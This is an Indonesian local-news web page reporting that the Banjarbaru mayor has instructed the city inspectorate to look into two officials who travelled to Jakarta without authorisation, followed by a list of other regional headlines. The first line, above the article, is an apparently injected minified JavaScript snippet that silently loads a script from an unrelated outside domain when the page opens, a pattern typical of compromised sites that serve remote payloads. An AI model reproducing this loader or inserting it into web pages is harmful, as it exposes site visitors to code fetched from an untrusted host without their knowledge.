(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pejabat Perjadin Tanpa Izin, Wali Kota Aditya Minta Inspektorat Bertindak


KANALKALIMANTAN.COM, BANJARBARU – Kasus dua pejabat Pemko Banjarbaru yang melakukan perjalanan dinas (Perjadin) luar daerah tanpa izin direspon Wali Kota Banjarbaru Aditya Mufti Ariffin.

Sebelumnya diberitakan pejabat eselon II dan III itu ke luar daerah tanpa disposisi dari atasan kepegawaian.

Dua pejabat itu ikut menghadiri penyerahan penghargaan Wahana Tata Nugraha tahun 2024 di Jakarta, 6-8 September 2024. Dugaan pelanggaran dua pejabat itu membuat Penjabat (Pj) Sekretaris Daerah (Sekda) Kota Banjarbaru Dra Hj Nurliani MAp merasa dilangkahi.

Baca juga: 17 Kandang Babi di Guntung Manggis Belum Dibongkar, Ada Tambahan Ternak Baru

Saat dikonfirmasi Kanalkalimantan.com, Wali Kota Aditya mengaku telah memberikan instruksi kepada Inspektorat Kota Banjarbaru untuk menindaklanjuti dugaan pelanggaran kepegawaian itu.

“Sudah instruksikan kepada inspektur untuk menindaklanjuti hal tersebut,” ujar Wali Kota Banjarbaru Aditya Mufti Arifiin saat ditemui di lesehan Bina Wisata Banjarbaru, Senin (9/9/2024) siang.

Entah belum mendapat laporan, Wali Kota Aditya malah mengaku belum mengetahui pasti apakah memang ada kelalaian atau tidak. Instruksi untuk melakukan tindakan, katanya, baru diberikan kepada Inspektorat Kota Banjarbaru pada Senin (9/9/2024).

Baca juga: Bawaslu Banjarbaru Bawa Perkara Mantan Ketua KPU ke DKPP

“Makanya ditindaklanjuti dan dipelajari dulu oleh inspektur, jadi kita tunggu laporan dari inspektur,” kata Aditya.

“Baru mulai hari ini, karena hari pertama kerja setelah ribut itu, namun yang jelas ke Inspektur sudah minta lakukan tindakan,” katanya.

Anehnya, Wali Kota Banjarbaru mengaku belum mengetahui nama pejabat yang diduga melakukan perjadin ke luar daerah tanpa izin itu. Malah menganjurkan melakukan cek langsung ke Penjabat (Pj) Sekretaris Daerah (Sekda) Kota Banjarbaru.

Baca juga: Aula SMAN 7 Banjarmasin Ambruk, Siswa Sempat Terperosok

Sementara itu, Pj Sekda Banjarbaru Dra Hj Nurliani MAp kepada Kanalkalimantan meyakini bahwa Wali Kota Banjarbaru mengetahui dua pejabat yang melakukan perjadin ke luar daerah tanpa izin itu. Meski begitu ia memilih untuk tetap menyembunyikan identitas dua pejabat itu.

“Saya sudah laporkan ke Wali Kota sejak Jumat lalu,” ucapnya. “Rasanya tidak mungkin Wali Kota tidak tahu ada pejabat daerah yang keluar daerah tanpa izin,” tegasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.